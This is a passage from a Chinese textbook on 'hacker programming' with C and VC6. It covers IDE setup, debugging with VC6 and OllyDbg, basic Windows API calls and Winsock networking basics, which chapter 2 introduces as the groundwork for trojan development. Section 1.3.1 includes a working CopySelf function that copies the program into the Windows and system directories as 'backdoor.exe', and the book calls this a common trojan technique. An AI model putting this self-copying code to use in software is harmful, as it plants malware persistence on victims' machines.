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  第1章 黑客编程入门
 
你是否曾经在用别人开发的工具尝试“入侵”，你是否希望开发出自己的黑器……相信很多人有着这种近似相同的经历。本章将简单介绍黑客编程及工具开发。如果你是初学编程，如果你从来没有接触过黑客软件的开发，如果你急于想了解黑客编程方面的知识……那么就请继续往下阅读。
 

 
1.1 编程语言和开发环境的选择
 
初学者刚开始学习编程语言最头疼的问题就是如何选择编程语言及合适的开发环境，下面就来具体介绍一下。
 
有人认为学编程就是学编程语言，而VC、VB这样的开发环境只是工具，不需要学。这个想法是错误的，因为开发环境提供了很多开发工具，如VC这个集成开发环境就提供了与之对应的PSDK、MFC等。除了语言以外，要开发特定的软件是需要开发包和开发工具支持的。况且，编程语言也是一种工具，用于和计算机进行交流的工具。所以我们既要学习编程语言，也要学习开发工具。
 
对于选择哪种编程语言或者开发环境其实也没有特定的标准。有这样一句话，“真正的程序员用VC，聪明的程序员用Delphi，用VB的不是程序员”。笔者却并不这么认为，因为在很多编程的书籍上常常这样提醒并告诫学习者，编程的精髓是“算法”，而语言是用来描述算法的。因此，大家也不必因为无法选择而无从下手。
 
黑客一般都掌握多种编程语言，他们不但掌握着与底层相关的如汇编、C之类的编程语言，而且还掌握很多脚本语言，如Python、Perl、Ruby……很多黑客在发现0Day以后用Perl或者Python来写POC；MSF使用的是Ruby来进行开发Exploit；有的黑客在反病毒时竟然写个批处理就搞定了……对于黑客来说，一切语言都是服务于自己的思想的，只要能快速实现自己的想法，能完成自己所要完成的功能就行，从不拘泥于任何语言和工具。在网上有很多学习不同编程语言的人们之间经常互相攻击，这其实是一种极端的行为，大家还是理性地对待这些问题比较好。
 
前面说了这么多，仿佛是在绕圈子，一直没有介绍到底应该选择什么编程语言和开发环境。我们这里选择使用C 语言作为黑客编程的学习语言，选择VC6（VisualC++ 6.0的缩写）来作为我们的开发环境。VS 6 相对于Visual Studio 2005、Visual Studio 2008和Visual Studio 2010之类的开发环境来说要小巧很多，当前是可以满足我们的开发需求的。选择C语言的原因是由于Windows的API都是用C语言定义的，相对于使用其他编程语言会方便很多。笔者认为在VB下使用API就非常不方便，尤其是涉及指针这个概念的时候。除了VC6以外，还需要下载新版的PSDK，因为VC6中包含的PSDK过于旧，有些新的API我们无法通过包含头文件而直接使用，因此这个也是必须的。
 

 
1.1.1 何为SDK、API和MFC
 
既然选择VC作为开发环境，那么先来了解一下VC开发环境中今后会用到的一些工具的概念，这些概念都相对比较简单，常见的概念有SDK、API和MFC。
 
SDK 是Software Develop Kits 的缩写，即软件开发工具包。SDK 是一个泛指，比如对视频采集卡进行二次开发，那么视频采集卡会提供SDK；再比如对动态令牌进行二次开发，那么动态令牌也会提供SDK。操作系统为了程序员在其平台下开发应用程序也会提供SDK，我们对系统提供的开发包称之为PSDK。PSDK 是Platform SDK 的意思，也就是平台SDK。对于我们来说，平台就是Windows操作系统。Windows下的PSDK包含了进行Windows软件开发的文档和API函数的输入库、头文件等一些与Windows开发相关的工具。PSDK是一个单独的开发包，不过每个不同版本的VC和其他一些开发环境中也已经包含了它。
 
API 是Application Programming Interface的缩写，即应用程序接口。不同的SDK 提供不同的API。PSDK提供的API就是操作系统提供的开发应用程序的接口，比如Windows系统下删除文件的 API 函数是 DeleteFile()；再比如 Windows 系统下移动文件的 API 函数是MoveFile()，而其他一些供二次开发的SDK中附带的API，也是为了进行开发应用程序而提供的接口。
 
MFC 是Microsoft Foundation Class的缩写，即微软基础类库。它是微软为了简化程序员的开发工作量所提供的基于C++类的一套面向对象的库，它封装了常见的API函数，使得开发较为方便。
 
我们在书中会用到API进行开发，也会使用MFC进行开发。不过对于MFC的使用，基本上用在与界面相关的部分，一般是简单地带过，不会进行过多的讨论。我们的重点是放在API函数的使用上。关于MFC的相关内容，还请大家自行参考学习。
 

 
1.1.2 VC6和SDK的配置
 
新版的PSDK（Windows Server 2003 SP1 Platform SDK）的下载地址为http://www.microsoft.com/downloads/en/details.aspx?FamilyID=eba0128f-a770-45f1-86f3-7ab010 b398a3。如果此地址过期的话，请大家在网上自行搜索并下载。
 
SDK 和 VC6 互相是独立的，不需要安装在同一个目录下，根据自己的实际情况安装就可以了。在安装好 VC6 和新版的 SDK 后，需要在 VC6 中进行相应的设置才能使用新版的SDK，否则VC6仍然使用其自带的旧的SDK。SDK和VC6的安装步骤这里就不介绍了（提示：请把VC6安装完整，VC6会提供一些代码，对我们的学习是非常有帮助的），下面介绍新版的SDK如何配置才能在VC6中使用。
 
启动 VC6，单击菜单“Tools”->“Options”命令，打开“Options”对话框，如图 1-1所示。
 

 [image: figure_0013_0001]

 

  图1-1 “Options”对话框 

 
选择“Directories”选项卡，在“Show directories for”下拉列表中选择“Include files”，选项并在“Directories”列表框中添加新的PSDK头文件的目录，放在列表的最上面，如图1-2所示。
 

 [image: figure_0013_0002]

 

  图1-2 头文件的路径 

 
在“Show directories for”下拉列表中选择“Library files”选项，并在“Directories”列表框中添加新的PSDK库文件的目录，放在列表的最上面，如图1-3所示。
 
切记要把所添加的目录放到列表的最上边，因为在VC编译代码的时候会搜索这些目录里的文件，如果随便放，编译器会因找不到相关API函数定义而报函数未定义的错误。
 
另外，还必须下载一个MSDN。MSDN 即Microsoft Developer Network，它是微软开发的联机帮助文档，可以帮助我们在使用API的时候进行快速的查阅，以方便我们对API的使用和理解。但是MSDN里的内容全部都是英文的，如果你英文不太好可以借助搜索引擎来学习API的使用。本书只对所提到的API函数常用的参数进行介绍，其他参数需要大家自行进行学习。
 

 [image: figure_0014_0003]

 

  图1-3 库文件的路径 

 

 
1.2 应用程序的调试
 
在开发程序的过程中，除了编码以外还需要对程序进行调试，当编写的程序出现问题后，就要对程序进行调试。调试不是仅使用一个printf()或MessageBox()进行简单的输出来观察某个函数的返回值（虽然在调试的时候的确是对返回值观察较多），也不是对某个变量、某一时间的具体值的输出。调试是有专业的调试分析工具的，VC6不但提供代码编辑、代码编译、编译连接等功能，还提供了一个非常好用的调试工具。在编写完代码后，如果程序输出的结果是未知的，或者是没有预测到的，都可以通过调试来对代码的逻辑进行分析，以找到问题的所在。掌握调试的技能，对软件的开发有非常大的帮助。掌握好的调试工具，对于调试者来说，也同样会起到事半功倍的作用。下面通过一个简单的例子了解一下VC6提供的调试功能吧。
 

 
1.2.1 编写我们的第一个程序
 
下面介绍用VC6写一个控制台版的HelloWorld来学习VC6的开发。也许大家认为这个程序很简单，但是请记住，我们的重点是要介绍VC6这个集成开发环境中提供的调试功能。
 
启动 VC6，单击菜单“File”->“New”命令，在弹出的对话框中选择“Projects”选项卡，然后在左边的列表框中选择“Win32 Console Application”选项，在“Project Name:”文本框中填写“HelloWorld”，如图1-4所示。
 
单击“OK”按钮，出现如图1-5所示窗口。
 
选择“An empty project”单选项，单击“Finish”按钮，然后在弹出的对话框中单击“OK”按钮。
 
单击菜单“File”->“New”命令，选择“Files”选项卡，在左边的列表中选择“C++ Source File”选项，在右边的“File”文本框中填写“Hello World”，如图1-6所示。
 

 [image: figure_0015_0004]

 

  图1-4 “Projects”选项卡 

 

 [image: figure_0015_0005]

 

  图1-5 “Win32 Console Application”项目向导 

 

 [image: figure_0015_0006]

 

  图1-6 “Files”选项卡 

 
单击“OK”按钮就可以进行代码编辑了。
 
在代码编辑处录入如下代码：
 
#include <stdio.h>
 
int main()
 
{
 
printf("Hello World ! \r\n");
 
return 0;
 
}
 
按F7 键进行编译连接（按Ctrl+ F7 组合键是只编译不进行连接），按Ctrl + F5 组合键进行运行，如图1-7所示。
 

 [image: figure_0016_0007]

 

  图1-7 “Hello World”运行界面 

 
这就是我们值得纪念的第一个程序。这个程序很简单，有C语言基础的读者应该都能看懂，这里就不进行介绍了。如果看不懂，请先找本关于C语言入门的书学习一下。
 

 
1.2.2 用VC6调试第一个程序
 
现在来学习如何使用 VC6 对第一个程序进行调试。在代码编辑状态下，按下键盘上的F10键，进入调试状态，如图1-8所示。
 
常用的调试窗口有两个，一个是“Watch”窗口（标注“1”的那个窗口），一个是“Memory”窗口（标注“2”的那个窗口）。打开“Watch”窗口的方法是单击“View”->“Debug Windows”->“Watch”命令（或按Alt +3 组合键）打开。打开“Memory”窗口的方法是单击“View”->“Debug Windows”->“Memory”命令（或按Alt+ 6 组合键）打开。“Watch”窗口用来监视我们感兴趣的变量，而当我们有时无法通过变量的值进行判断时，就需要借助“Memory”窗口中的值，比如，指针的值来进行判断。
 
除了这两个窗口以外，还有“Call Stack”、“Register”和“Disassembly”这 3 个窗口，分别如图1-9、图1-10和图1-11所示。
 

 [image: figure_0017_0008]

 

  图1-8 VC6处于调试状态 

 

 [image: figure_0017_0009]

 

  图1-9 “CallStack”窗口 

 

 [image: figure_0017_0010]

 

  图1-10 “Register”窗口 

 

 [image: figure_0017_0011]

 

  图1-11 “Disassembly”窗口 

 
“Call Stack”窗口是调用栈窗口，该窗口可以很方便地查看调用关系，很容易通过调用栈来找到上层、上上层的调用者。另外，也可以通过调用栈来定位错误。比如，有时程序会崩溃，但是发生崩溃的地方却在系统提供的代码中，而不在我们编写的代码中，这种错误在通常情况下是我们的程序对于参数的输入有误造成的，我们可以通过调用栈查看是谁调用了该函数，以便进行进一步分析。
 
“Register”窗口是用来观察寄存器的。有时需要观察返回值或者参数。
 
“Disassembly”窗口是用来观察C代码对应的反汇编代码的。有时在看C的代码无法解决的问题时，需要查看在底层实现时分析程序的问题。
 
以上就是VC6下常用的调试窗口，可根据实际情况使用，并不是每次调试都会用到这些窗口。下面再简单介绍一下常用的调试快捷键，以方便今后进行调试时使用。
 
VC6调试时的常用快捷键如下。
 
F5键：运行程序。
 
F9键：设定断点/取消断点。
 
F10键：单步步过，依次执行每一条代码。
 
F11键：单步步入，依次执行每一条代码，遇到函数调用时则进入到被调用的函数中。
 
F7键：停止调试。
 
在后面的章节中我们会用到这些快捷键来调试程序，让大家在学习的过程中真正地应用起这些调试功能。
 

 
1.2.3 专业的应用程序调试工具——OllyDbg
 
OllyDbg，简称OD，是专业的应用程序调试工具。接触过破解，或者做过外挂开发的读者一定对这款工具不陌生。在这里，简单介绍一下这款工具。
 
让我们先来看看它的界面吧，如图1-12所示。
 

 [image: figure_0018_0012]

 

  图1-12 OllyDbg的窗口 

 
OD 的大多数情况是在没有源代码的情况下对软件进行调试的。也许没有源代码也就不叫调试了，而叫做动态分析。OD 的主界面中有 6 个主要的窗口，分别是反汇编窗口、寄存器窗口、提示信息窗口、数据窗口（也叫转存窗口）、栈窗口和命令提示窗口。
 
下面逐个介绍一下各个窗口的作用。
 
（1）反汇编窗口：这是调试或动态分析时的主要窗口，我们主要是针对软件的功能实现进行分析，因此主要需查看的就是反汇编窗口的内容。
 
（2）寄存器窗口：该窗口的作用是实时地显示寄存器的变化情况。寄存器也可以反映代码的执行情况。例如，我们常常查看返回值的eax的值。
 
（3）提示信息窗口：这里往往会显示一些内存地址的值、寄存器的值、调用方的地址等信息。
 
（4）数据窗口：该窗口主要是用来显示数据的，单击右键可以把数据按照不同的方式进行解析，对于我们分析程序的过程是非常有用的。
 
（5）栈窗口：该窗口可以用来查看函数调用时参数的值。
 
（6）命令提示窗口：该窗口是用来输入调试命令的。
 
OD调试时的常用快捷键如下。
 
F8键：单步步过，依次执行每一条代码。
 
F7键：单步步入，依次执行每一条代码，遇到函数调用时则进入到被调用的函数中。
 
F4键：执行到选中的代码处（前提条件是该条代码在程序的流程中一定会被执行到）。
 
F2键：断点中断。
 
F9键：运行程序。
 
OD的介绍到此为止，在后面的内容中我们会再次提到OD，到那时会有一定的机会练习使用OD。如果有对OD感兴趣的读者，请另行阅读其他书籍。
 

 
1.3 简单API的介绍
 
下面介绍一些在黑客编程中会用到的API函数，尽量排一点简单易用的函数，用简单的几行代码来完成一定的功能，希望大家能在这里体会到编程乐趣，不至于被大段的代码影响了自己前进的心情。
 

 
1.3.1 复制自身程序到Windows目录和系统目录下
 
一般的病毒木马都有这种类似的功能，完成这个功能其实并不复杂，我们来拆解思考一下实现这段代码的步骤。
 
复制是一个拷贝的过程。既然是拷贝，就要知道拷贝的原位置和目的位置。也就是整个过程其实分3步，首先要得到自身程序所在的路径，然后获得Windows目录和系统目录，最后分别拷贝自身程序到这两个目录中。这3个步骤要如何完成，下面我们来看看完成这些功能的API函数。
 
获得自身程序所在路径的API函数的定义：
 
DWORD GetModuleFileName(
 
HMODULE hModule,　// handle to module
 
LPTSTR lpFilename,　// file name of module
 
DWORD nSize　　// size of buffer
 
);
 
该函数有 3个参数，分别如下。
 
（1）hModule：该参数在获得自身程序时使用为NULL。
 
（2）lpFilename：该参数指定一个字符型的缓冲区，用于保存程序自身所在的路径。
 
（3）nSize：该参数指定缓冲区的大小。
 
获得Windows目录的API函数的定义：
 
UINT GetWindowsDirectory(
 
LPTSTR lpBuffer,　// buffer for Windows directory
 
UINT uSize　　　// size of directory buffer
 
);
 
该函数有两个参数，分别如下。
 
（1）lpBuffer：该参数指定一个字符型的缓冲区，用于保存Windows目录的路径。
 
（2）uSize：该参数指定缓冲区的大小。
 
获得系统目录的API函数的定义：
 
UINT GetSystemDirectory(
 
LPTSTR lpBuffer,　// buffer for system directory
 
UINT uSize　　　// size of directory buffer
 
);
 
该函数有两个参数，分别如下。
 
（1）lpBuffer：该参数指定一个字符型的缓冲区，用于保存系统目录的路径。
 
（2）uSize：该参数指定缓冲区的大小。
 
拷贝文件的API函数的定义：
 
BOOL CopyFile(
 
LPCTSTR lpExistingFileName,　// name of an existing file
 
LPCTSTR lpNewFileName,　　// name of new file
 
BOOL bFailIfExists　　　// operation if file exists
 
);
 
该函数有 3个参数，分别如下。
 
（1）lpExistingFileName：该参数指向一个已存在文件的路径，即原文件路径。
 
（2）lpNewFileName：该参数指向一个新的文件的位置，即欲拷贝到的文件的目的路径。
 
（3）bFailIfExists：该参数是一个布尔型参数，如果参数为TRUE，若目的文件已存在则返回，复制失败；如果参数为FALSE，若目的文件已存在则强行覆盖原有的文件。
 
需要使用的 API 函数已经介绍完了，下面就来真正完成这个复制自身程序到 Windows目录和系统目录下的程序，代码如下：
 
void CopySelf()
 
{
 
// 保存自身程序的路径
 
char szSelfName[MAX_PATH] = { 0 };
 
// 保存Windows目录的路径
 
char szWindowsPath[MAX_PATH] = { 0 };
 
// 保存系统目录的路径
 
char szSystemPath[MAX_PATH] = { 0 };
 
// 临时路径变量
 
char szTmpPath[MAX_PATH] = { 0 };
 
GetModuleFileName(NULL, szSelfName, MAX_PATH);
 
GetWindowsDirectory(szWindowsPath, MAX_PATH);
 
GetSystemDirectory(szSystemPath, MAX_PATH);
 
strcat(szWindowsPath, "\\backdoor.exe");
 
strcat(szSystemPath, "\\backdoor.exe");
 
CopyFile(szSelfName, szWindowsPath, FALSE);
 
CopyFile(szSelfName, szSystemPath, FALSE);
 
}
 
该函数需要包含Windows.h这个头文件，也就是在该段程序的最开始处加一句：
 
#include <windows.h>
 

 
1.3.2 获得系统的相关信息
 
了解一个系统相关信息也是一项比较重要的内容，强大的扫描软件Nmap在对目标主机进行扫描时，也能对目标主机的系统等信息进行识别，真的是很强大。这里简单地获取一些与系统相关的信息，主要获取的内容有操作系统的版本、操作系统的名字及当前登录的用户名称。接下来逐个介绍这些API函数。
 
（1）获取操作系统版本
 
代码如下：
 
BOOL GetVersionEx(
 
LPOSVERSIONINFO lpVersionInfo // version information
 
);
 
该函数就一个参数，这个参数是指向一个 OSVERSIONINFO 结构的指针。看一下OSVERSIONINFO这个结构体。
 
typedef struct _OSVERSIONINFO{
 
DWORD dwOSVersionInfoSize;　// 结构体大小
 
DWORD dwMajorVersion;　　// 主版本号
 
DWORD dwMinorVersion;　　// 次版本号
 
DWORD dwBuildNumber;
 
DWORD dwPlatformId;　　　// 平台ID
 
TCHAR szCSDVersion[ 128 ];　// 补丁包
 
} OSVERSIONINFO;
 
dwPlatformId的取值有 3个，而现在主要使用一个，即VER_PLATFORM_WIN32_NT。
 
（2）获取计算机名称
 
代码如下：
 
BOOL GetComputerName(
 
LPTSTR lpBuffer,　// computer name
 
LPDWORD lpnSize　// size of name buffer
 
);
 
该函数有两个参数，介绍如下。
 
①　lpBuffer：保存计算机名称缓冲区。
 
②　lpnSize：保存缓冲区的长度，该参数是一个输入/输出参数。
 
（3）获取当前用户名称
 
代码如下：
 
BOOL GetUserName(
 
LPTSTR lpBuffer,　// name buffer
 
LPDWORD nSize　// size of name buffer
 
);
 
该函数有两个参数，介绍如下。
 
①　lpBuffer：保存当前用户名称的缓冲区。
 
② nSize：保存缓冲区的长度，该参数是一个输入/输出参数。
 
我们封装一个简单的函数来获取系统的这 3个信息，代码如下：
 
void GetSysInfo()
 
{
 
char szComputerName[MAXBYTE] = { 0 };
 
char szUserName[MAXBYTE] = { 0 };
 
unsigned long nSize = MAXBYTE;
 
OSVERSIONINFO OsVer;
 
OsVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
 
GetVersionEx(&OsVer);
 
if ( OsVer.dwPlatformId == VER_PLATFORM_WIN32_NT )
 
{
 
if ( OsVer.dwMajorVersion == 5 && OsVer.dwMinorVersion == 1 )
 
{
 
printf("Windows XP %s \r\n", OsVer.szCSDVersion);
 
}
 
else if ( OsVer.dwMajorVersion == 5 && OsVer.dwMinorVersion == 0)
 
{
 
printf("Windows 2K \r\n");
 
}
 
}
 
else
 
{
 
printf("Ohter System \r\n");
 
}
 
GetComputerName(szComputerName, &nSize);
 
printf("Computer Name is %s \r\n", szComputerName);
 
nSize = MAXBYTE;
 
GetUserName(szUserName, &nSize);
 
printf("User Name is %s \r\n", szUserName);
 
}
 
将代码进行编译连接并运行，其执行结果如图 1-13所示。
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  图1-13 当前操作系统版本、计算机名及当前用户名 

 
这个程序完成了我们想要的功能，对于编程的部分就介绍到这里。下面介绍 Debug 和Release方面的内容。
 

 
1.3.3 Debug和Release的编译方式
 
关于获取系统信息的程序，我们编写完成了，也编译连接并运行过了。找到刚才编译的程序，查看一下它的文件大小，如图1-14所示。
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  图1-14 GetSysInfo的程序大小 

 
从图1-14中可以看出，该程序竟然有153KB大小。是不是很惊人？我们一共写了不过十几行代码，但是却生成了如此大体积的程序，这是为什么呢？因为代码默认编译连接是Debug版本的，如图1-15所示。
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  图1-15 Win32 Debug方式 

 
从图1-15中可以看出，我们的代码是由Debug方式编译的。Debug被称为调试版本，在这种方式的编译下，可执行程序中会附带很多和调试相关的数据或代码，而且不做任何的优化，以此为开发人员提供大量的调试信息，从而方便了程序的调试工作。除了Debug方式编译以外，还有一种方式是Release 方式编译，单击“Win32 Debug”右边的下拉箭头可以选择“Win32 Release”，如图1-16 所示。
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  图1-16 Win32 Release方式 

 
Release方式被称作发布版本，是为最终用户使用的，这种方式对代码做了大量的优化工作，不再包含与调试相关的信息，从而使程序的运行效率更高，体积更小，如图1-17所示。
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  图1-17 Release版的GetSysInfo的文件大小 

 
从图1-17可以看出，两个程序的文件大小发生了截然不同的变化。因此，当我们自己写程序调试时，应该使用调试版，以方便我们对程序进行调试。当我们的程序已经调试完毕，那么可以使用发布版来与大家进行交流。
 

 
1.3.4 查看函数定义
 
很多时候，我们都需要查看函数的定义，而函数的定义都在 SDK 的头文件中。虽然从MSDN中也能找到函数的定义，但是还是有略微的不同，而且对于查找自定义函数的函数定义也是很方便的。
 
回到我们的代码当中，随便选中一个API函数，比如GetComputerName()这个函数。加入要查看该函数的定义应该如何查看呢？我们在 GetComputerName()这个函数上单击鼠标右键，在弹出的快捷菜单上选择“Go To Definition Of GetComputerName”（到GetComputerName函数的定义处）命令，如图1-18所示。
 
当选择“Go To Definition Of GetComputerName”命令以后，会来到“Winbase.h”头文件中的GetComputerName()函数的定义处，如图1-19和图1-20所示。
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  图1-18 “Go To Definition Of GetComputerName”命令 
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  图1-19 “Winbase.h”头文件 
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  图1-20 GetComputerName()的定义 

 
从图1-20 中可以看出， GetComputerName 是一个宏，其对应的函数为GetComputerNameA()。关于 GetComputerName()和 GetComputerNameA()，包括可以看到的GetComputerNameW()，我们都不进行介绍。通过图 1-20 的函数定义和前面介绍这个函数的定义来比较一下，可以看到，头文件中的定义比MSDN中的定义对于函数的描述更加详细，比如WINAPI表示函数的调用方式。
 
除了“Go To Definition Of GetComputerName”以外，还有一个“Go To Reference ToGetComputerName”，这个是查看何处引用了函数。大家可以自行进行练习。
 

 
1.4 总结
 
本书的编程内容主要以C语言为编程语言（本书部分内容会涉及其他语言，但C语言是主要的），以VC6为开发环境，着重介绍了VC6的基本概念及简单的使用，在此基础上带领大家认识了专业的应用程序的调试工具——OD。在最后的内容中介绍了一些简单的API函数的使用。万丈高楼平地起，希望每一位初学者不要过于着急，在后面的章节中我们会慢慢地深入学习黑客编程的内容。希望在每学完一个知识后，大家多思考多动手，这样才能真正地起到学习的效果。
第2章 木马开发剖析
 
黑客们对系统成功入侵后，为了方便下次登录被入侵的计算机，通常会留下一个后门，或者是木马。国产著名的木马有冰河、广外女生、灰鸽子、上兴、PCShare……这些木马对每个黑客来说都已经很熟悉了，那么接下来就介绍一下它们的共性。不管是哪种木马，它们都要依靠网络来进行客户端与服务器端的通信，也就是说，不管木马有多么复杂的功能，其基础都是建立在网络的通信上。
 

 
2.1 网络通信基础
 
一台计算机和另一台计算机通信，只需要知道两个内容就可以了，即 IP 地址和端口号。这两个名词想必大家不但听过，而且已经有感性上的认识了。我们在扫描网络主机的时候，会在扫描器中填写扫描主机的IP地址，然后扫描器会逐个扫描IP地址，并且把指定IP的所有开放端口全部列出来。那么IP地址是什么？端口号是什么？下面简单介绍一下两者的作用。
 

 
2.1.1 IP地址的作用与分类
 
IP 地址的全称是网际协议地址，互联网上的每个主机和路由器都有 IP 地址，没有两个机器有相同的IP地址，因此它是用来标识一台网络主机的。所有的IP地址都是32位长，其用点分十进制法来表示，比如“10.10.30.12”。IP地址指定的不是主机，而是网络接口设备。因此，一个主机有两个网络接口，那么就会有两个IP地址。通常情况下，一台主机只有一个IP地址。
 
IP地址被分为5类，分别是A类、B类……E类，每一类IP地址的范围如表2-1所示。
 

  表2-1 IP地址分类及范围 
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上面的IP地址划分是照搬了其他参考书里面给出的IP地址的划分方式，笔者把这些IP地址重新进行了归类。共分为4类，一类是环回IP地址（表示本机IP地址），一类是内网IP地址，一类是公网IP地址，一类是其他。下面分别进行简短的介绍。
 
1．环回IP地址。
 
A 类网络号为 127 就是为环回地址预留的。通常情况下是 127.0.0.1 这个地址，或者是localhost，该IP地址不管机主是否联网，对这个IP地址的通信都是可以连通的，因为它就表示本地主机。ping 一下环回地址试试，在命令行下输入：ping127.1，不论是否联网这个地址都是通的。
 
2．内网IP地址。
 
用于局域网内，比如网吧、企业、政府、学校的内部。它主要负责局域网的通信。内网地址开头都是10、192……一些地址。
 
3．公网IP地址。
 
是ISP（网络服务供应商），比如网通、电信、铁通……提供的这些地址都是由动态ISP分配的，这个地址是真正在互联网上进行通信的IP地址。
 
4．其他IP地址。
 
是TCP/IP中保留的用来做实验的一些IP地址，就比如D类和E类这些基本我们普通用户用不到的IP地址。
 

 
2.1.2 端口的作用与分类
 
IP 地址可以在互联网上唯一地标识一台主机，那么端口号有什么用呢？两台计算机通信，其实是两台计算机上的不同进程间的通信。也就是说，木马的客户端和木马的服务端都是操作系统下的一个进程。Windows操作系统下是多进程的，即使IP地址可以标识一台主机，却无法得知是和哪个进程在通信，因为打开的网络软件实在太多了，比如QQ、IE……因此，端口号就是用来标识进程的。
 
端口号是16位的，范围在0 ～ 65535 之间。端口号根据传输层的传输协议的不同分为两种，一种是TCP端口，另一种是UDP端口。用扫描端口的软件可以区分出TCP和UDP端口。TCP和UDP是两种不同的协议，TCP协议用于可靠传输中，而UDP协议用于不可靠传输中。TCP 的端口在通信过程中始终保持连接，直到通信结束，而 UDP 的通信是不需要连接的。两种协议各有优缺点，视具体情况而定。
 

 
2.2 网络编程基础知识
 
上面对两台计算机之间如何进行通信有了一个大概的了解，现在开始真正学习Windows下网络编程的相关知识。
 

 
2.2.1 通信模型
 
既然是通信，必然要遵循一个通信模型，常见的通信模型有C/S模型（即客户端/服务端模型）、B/S模型（即浏览器/服务端模型）。常见的木马是C/S模式的，不过也有木马是B/S模式的，只不过这种模式相对少见。接下来主要介绍C/S模型的开发。
 
C/S模型的开发，就是在服务器端上绑定一个IP地址和一个端口号，然后进行监听，等待客户端的连接，而客户端则是向服务器端指定的IP地址和端口号发起连接，服务器接受客户端的连接后，双方可以进行通信，这是基于TCP协议的通信。而基于UDP协议就简单多了，服务器只要绑定IP地址和端口号就可以了，客户端不需要进行连接直接就可以和服务器进行通信。从基于TCP和基于UDP的服务器可以看出，TCP比UDP要可靠，而UDP要比TCP效率高。
 

 
2.2.2 Winsock
 
Windows下的网络应用开发大部分是通过Winsock完成的（除了Winsock以外还有其他的），Winsock有两种开发模式，一种是阻塞模式，另一种是非阻塞模式。阻塞模式是基于同步的开发方式，非阻塞模式是基于异步的开发方式。非阻塞模式结合了Windows的消息机制，更符合Windows下的开发。在我们的学习过程中主要讨论非阻塞模式的开发。
 
下面开始讲解Windows下网络开发所需要了解的API函数。在介绍这些函数的时候，笔者只重点介绍部分参数，详细的参数介绍不是本书的重点，但是很多函数都有其固定的参数，大家会用即可。
 

 
2.2.3 Winsock的相关函数
 
每个需要使用Winsock进行网络开发的Windows应用程序都必须包含Winsock2.h（这是第二个版本的Winsock库），除了这个头文件以外，还有一个静态库ws2_32.lib。在使用它们的时候需要对这个库进行一次初始化，使用完毕后要对该库进行释放。下面分别介绍这两个函数。
 
首先来看初始化ws2_32.dll动态链接库的函数：
 
int WSAStartup(
 
WORD wVersionRequested,
 
LPWSADATA lpWSAData
 
);
 
这个函数是用来初始化ws2_32.dll动态链接库的，这个动态链接库是所有网络应用程序会加载的动态链接库，在使用这个动态链接库时就需要用WSAStartup()函数进行初始化。如果不初始化这个动态链接库，其余相关的基于这个动态链接库的网络函数的调用都会失败。
 
参数说明如下。
 
（1）wVersionRequested：Windows Sockets API 提供的调用方可使用的最高版本号。高位字节指出副版本（修正）号，低位字节指出主版本号。
 
（2）lpWSAData：指向WSADATA数据结构的指针，用来接收Windows Sockets 实现的细节。
 
释放ws2_32.dll动态链接库：
 
int WSACleanup (void);
 
这个函数是结束这个动态链接库的，一般在程序退出时使用。
 
创建套接字：
 
SOCKET socket(
 
int af,
 
int type,
 
int protocol
 
);
 
参数说明如下。
 
（1）af：指定应用程序使用的通信协议族，对于TCP/IP协议族，该参数始终为PF_INET。有的教材里这个参数使用的是 AF_INET。AF_INET 是地址族，虽然使用这个没错，但还是建议使用PF_INET。
 
（2）type：指定要创建的套接字的类型，流套接字类型为SOCK_STREAM，数据包套接字类型为SOCK_DGRAM。前者通常是TCP协议使用，后者通常是UDP协议使用；
 
（3）protocal：指定应用程序所使用的通信协议。该参数根据第二个参数的不同而不同，第二个参数为 SOCK_STREAM ，该参数为 IPPROTO_TCP；如果第二个参数为SOCK_DGRAM，那么该参数为IPPROTO_UDP。
 
该函数的返回值是一个新创建的类型为SOCKET的套接字的描述符。
 
关闭套接字：
 
int closesocket(
 
SOCKET s
 
);
 
程序结束时要对Socket创建的套接字进行关闭，完成资源的释放。
 
参数说明如下。
 
s：socket()函数创建的套接字描述符。
 
当创建了一个Socket 后，服务器程序必须要绑定一个IP地址和特定的端口号。客户端程序不需要绑定端口号和IP地址，因为Socket会选择合适IP地址及端口来使用。
 
绑定IP地址和端口号：
 
int bind(
 
SOCKET s,
 
const struct sockaddr FAR *name,
 
int namelen
 
);
 
参数说明如下。
 
（1）s：指定待绑定的Socket描述符。
 
（2）name：指定一个sockaddr结构，该结构的定义如下：
 
struct sockaddr {
 
u_short　sa_family;
 
char　　sa_data[14];
 
};
 
函数中提供的参数类型是sockaddr，在实际使用的过程中，结构体是sockaddr_in，该结构的定义如下：
 
struct sockaddr_in {
 
short　sin_family;
 
u_short sin_port;
 
struct　in_addr sin_addr;
 
char　sin_zero[8];
 
};
 
成员变量sin_family设置为PF_INET；sin_port设置为端口号；sin_addr结构体中只包含一个公用体，in_addr的定义如下：
 
struct in_addr {
 
union {
 
struct { u_char s_b1,s_b2,s_b3,s_b4; }　S_un_b;
 
struct { u_short s_w1,s_w2; }　　　S_un_w;
 
u_long　　　　　　　　　S_addr;
 
} S_un;
 
};
 
该成员变量是一个整数，一般用函数 inet_addr()把字符串形式的 IP地址转换成 unsignedlong整型的整数值。
 
namelen：指定 name缓冲区的长度。
 
inet_addr函数的原型如下：
 
unsigned long inet_addr(
 
const char　FAR *cp
 
);
 
参数 cp为一个点分多进制的 IP地址。
 
inet_addr函数的逆函数如下：
 
char FAR * inet_ntoa(
 
struct　in_addr in
 
);
 
参数为一个 addr_in类型的变量。
 
监听端口：
 
int listen(
 
SOCKET s,
 
int backlog
 
);
 
参数说明如下。
 
（1）s：使流套接字 s处于监听状态。
 
（2）backlog：为处于监听状态的流套接字 s维护一个客户连接请求队列。
 
接受请求：
 
SOCKET accept(
 
SOCKET s,
 
struct sockaddr FAR *addr,
 
int FAR *addrlen
 
);
 
服务端程序调用该函数从处于监听状态的流套接字的客户端请求队列中取出第一个请求，并创建一个新的套接字与客户端进行连接通信。
 
参数说明如下。
 
（1）s：指定处于监听状态的套接字。
 
（2）addr：用来返回新创建的套接字的地址。
 
（3）addrlen：用来返回新创建套接字的地址结构的长度。
 
连接函数如下：
 
int connect(
 
SOCKET s,
 
const struct sockaddr FAR *name,
 
int namelen
 
);
 
客户端程序调用该函数来完成与远程服务器端的连接。
 
参数说明如下。
 
（1）s：客户端创建的套接字。
 
（2）name：该结构中包含了要服务器端中的 IP地址和端口号。
 
（3）namelen：指定name缓冲区的长度。
 
具体进行通信的函数分为两类，一类是基于TCP协议的，另一类是基于UDP协议的。数据的通信主要体现在数据的收发上，分别看一下这两种协议的收发数据的函数定义。
 
基于TCP的发送函数：
 
int send(
 
SOCKET s,
 
const char FAR *buf,
 
int len,
 
